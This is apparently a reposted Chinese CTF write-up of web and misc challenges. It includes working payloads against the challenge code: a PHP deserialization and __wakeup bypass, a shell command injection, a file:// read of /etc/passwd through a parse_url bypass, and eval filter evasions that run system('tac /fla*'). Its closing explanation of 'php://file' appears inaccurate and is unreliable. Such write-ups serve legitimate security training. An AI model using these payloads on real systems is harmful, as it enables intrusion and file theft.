网络安全小赛

目录

WEB

君子协议(robots.txt文件)

泄露的程序

超文本传输协议

反序列化

Curl

rec

梦想集团

MISC

binwalk

流量分析

网协杯海报

piz.galf

有点矮怎么办

流量分析

流量分析1

流量分析2

time_time

问题

1.file://和php://file他们有什么区别?


WEB

君子协议(robots.txt文件)

robots.txt文件又叫君子协议,因为他上面明确规定了上面文件可以访问,上面不可以访问,变相的告诉你他有什么文件

不知道的也可以直接dirsearch扫描,效果一样,我就是扫描的

响应包,我有两种方法,1是火狐,2是抓包

1火狐

2.抓包

泄露的程序

dirsearch吧,可以扫描爆破出他的备份包,然后下载下来,是一串base64编码,解密后就是flag

超文本传输协议

最后url解密即可

反序列化

 <?php
header("Content-type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
class Flag{
    public $user;
    public $passwd;

    public function __construct(){
        $this->user = 'admin';
        $this->passwd = '123456';

    }

    public function __wakeup()
    {
        $this->passwd = base64_encode($this->passwd);
    }

    public function __destruct()
    {
        if(md5($this->user)==md5($this->passwd) & $this->user != $this->passwd){
            include ('flag.php');
            echo $flag;
        }else{
            echo "error";
        }
    }


}
$un = $_GET['un'];
unserialize($un);
?> 

md5绕过

<? php
class Flag {
public $user = [];
public $passwd = [ 1 ];
}
$flag = new Flag ();
echo serialize ( $flag );
// O:4:"Flag":2:{s:4:"user";a:0:{}s:6:"passwd";a:1:{i:0;i:1;}}
注意我们需要绕过 __wakeup Flag":2 改为 Flag":3 使即可绕过

我的反序列化笔记里有详细解释

Curl

按要求输入后

多出来一个对话框

查看页面源代码,发现有过滤,过滤数字,什么意思呢,就是必须有数字,也就验证了第一个对话框的内容

运用逻辑符

;ls /tmp -a

发现隐藏文件.flag,直接查看就行

rec

<?php
show_source(__FILE__);
#dasdjf.php
$ysy = $_GET['ysy'];
$parts = parse_url($ysy);
if(empty($parts['host']) || $parts['host'] != 'localhost') {
    exit('error');
}
readfile($ysy);
?>

parse_url()函数,一个完全不认识的函数

可以看出,他是对一个url进行分析,返回的是一个数组

懂了吧

这样也就很好绕过了,直接ysy=http://loaclhost/什么什么就行了

然后因为他是readfile,所以可以用伪协议file://进行读取

然后我就有了一个问题,file://和php://file他们有什么区别

最下面会回答

构造语句:

?ysy=file://localhost/etc/passwd

注意file://必须是绝对路径

有回显,那我们读取他要我们看的文件,

注意是绝对路径

还是查看页面源代码

<?php
header("Content-type:text/html;charset=utf-8");

if (isset($_GET['a'])){
    $a = $_GET['a'];
    if (preg_match("/system|exec|highlight/i",$a) && !preg_match("/flag|cat/i",$a)){
        	eval($a);
    } else{
            die("error");
    }
}else{
       echo "你想干嘛!!!!";
}
?>

可以看出,他要求必须使用system、exec或者highlight,不能有flag和cat

这个好办,cat变成tac,flag变成fla*不就行了

这样没反应,可能是#%的问题,有两种解决方案,1是url编码,2是*或者?绕过

构造

1./dasdjf.php?a=system('tac /fla%23%25g.txt');

2./dasdjf.php?a=system('tac /fla*');

梦想集团

各种寻找,没有任何线索

我们去dirsearch,发信啊robots.txt文件,进行查看,发现编码,进行解码,无解

题解猜测是文件名字!!!!!!我敲猜测原因就是因为那个每句话后面的点,有点离谱哈,记下来吧~

是这样爆破的,注意路径

得出


MISC

binwalk

直接用工具进行binwalk分离就行

流量分析

网协杯海报

010打开后,flag在末尾

piz.galf

倒过来读就是flag.zip

用010打开,复制为16进制

复制出的文本去掉空格和换行后编写代码
把代码反转回来
s =
'0000000000C5000000A500100010000000006050B405109D0FF4AE10FCD4109D0FF4DF62DF8F109
D0FF47F9BB6E60081001000000000000200A0478747E27616C666000000000000000200000000000
000420080000000A200000063E915060E75A3086700000010004100F32010B4054F73971E0E0388D
C2D063CF84B29CD0F9A8F3660B8839DDE406D13E1A2280389E7E92B86C4E84056D9C55638322F57E
0A9B01C611389478747E27616C66600000080000000A200000063E915060E75A3086700000010004
14030B405'
print(s[::-1])
504B03041
4000100000076803A57E060519E360000002A00000008000000666C61672E747874983116C10B9A0
E75F22383655C9D65048E4C68B29E7E9830822A1E31D604EDD9388B0663F8A9F0DC92B48FC360D2C
D8830E0E17937F4504B01023F0014000100000076803A57E060519E360000002A000000080024000
000000000002000000000000000666C61672E7478740A00200000000000010018006E6BB9F74FF0D
901F8FD26FD4FF0D9014DCF01EA4FF0D901504B050600000000010001005A0000005C0000000000
把输出的内容复制下来,然后回到 010editor 新建 16 进制文件

直接开始爆破 得到密码 230926

有点矮怎么办

010修改png的高度,

流量分析

某行业CTF一道流量分析题_keepb1ue的博客-CSDN博客

流量分析1

流量分析2

CTF-数据分析(一)_c02隐藏的数据(300分) 附件为截取到的文件,请找出隐藏的数据。提交flag格式:flag{-CSDN博客CTF-数据分析(一)_c02隐藏的数据(300分) 附件为截取到的文件,请找出隐藏的数据。提交flag格式:flag{-CSDN博客

菜刀流量

time_time

2030-03-18 01:46:40 的时间戳为 1900000000 直接相减转 Ascii 即可, 这题老考点了
import os
flag = []
for i in range(44):
with open(f"time_time/{i}.txt") as f:
time = abs(int(os.path.getmtime(f"time_time/{i}.txt")) - 1900000000)
print(chr(time),end='')
# flag{TimeStamp_is_Very_goooooooooodddddddd!}

问题

1.file://和php://file他们有什么区别?

  1. file://:file:// 是一个通用的文件访问协议,用于访问本地文件系统或网络上可公开访问的文件。它可以用于访问本地计算机上的文件,也可以通过网络路径来访问远程服务器上的文件。例如,file:///path/to/file 表示本地文件系统上的文件,file://hostname/path/to/file 表示远程服务器上的文件。

  2. php://file:php://file 是 PHP 内置的封装协议,用于访问文件系统中的文件。这个协议允许您以流的形式访问文件内容,而不需要通过传统的文件路径进行操作。您可以使用 php://file 来读取、写入和操作文件。

需要注意的是,php://file 只能在 PHP 脚本中使用,而 file:// 则是通用的文件访问协议,可以在各种环境中使用。另外,php://file 还提供了一些特殊的流选项,例如 php://input 用于从请求的输入流中读取数据。

总结起来,file:// 是通用的文件访问协议,而 php://file 是 PHP 内置的封装协议,提供了更丰富的文件操作功能。

猜你喜欢

转载自blog.csdn.net/m0_71274136/article/details/133489772